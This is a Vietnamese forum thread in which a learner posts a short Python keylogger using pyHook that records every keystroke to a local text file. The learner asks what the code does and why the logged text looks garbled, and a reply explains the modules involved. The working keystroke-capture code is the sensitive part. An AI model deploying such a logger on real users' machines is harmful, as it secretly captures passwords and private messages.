01/10/2018, 16:50
Hỏi về keylogger
Em đang tìm hiều cách viết một con keylogger bằng python,sau đây là đoạn code mà em tham khảo được,dù đã tìm hiểu trên Google nhưng em vẫn chưa thực sự hiểu được code của con keylogger này, những chỗ ko hiểu em có đánh dấu “#” ở cuối dòng. Em mong mọi người có thể giải thích giúp em với ạ:
import pyHook, pythoncom, sys, logging
file_log='C:\message.txt'
def onKeyboardEvent(event):
logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')#
chr(event.Ascii)#
logging.log(10,chr(event.Ascii))#
return True
hooks_manager=pyHook.HookManager()#
hooks_manager.KeyDown=onKeyboardEvent#
hooks_manager.HookKeyboard()#
pythoncom.PumpMessages()#
Em vẫn cứ thắc mắc ko hiểu sao ví dụ như mình viết"LovePython" thì nó chỉ biểu hiện lên dòng chữ rất khó hiểu. Cho em hỏi nguyên nhân là gì và làm thế nào để giải quyết ạ?
Bài liên quan
bạn đăng dòng chữ khó hiểu đấy lên xem nào
Đây ạ:
Cái này có vẻ nếu muốn hiểu được code thì bạn phải tìm hiểu các module được import trước. Ở đây có 2 module cần quan tâm là
pyHook
vàpythoncom
, bạn cần tìm hiểu 2 cái này trước.Theo như code trên thì mình tạm đoán là nó sẽ xử lý sự kiện nhấn phím bằng hàm
onKeyboardEvent
và ghi ra file logmessage.txt
. Cái mà bạn gọi là dòng chữ khó hiểu là do cáilogging.log(10, chr(event.Ascii))
nhé.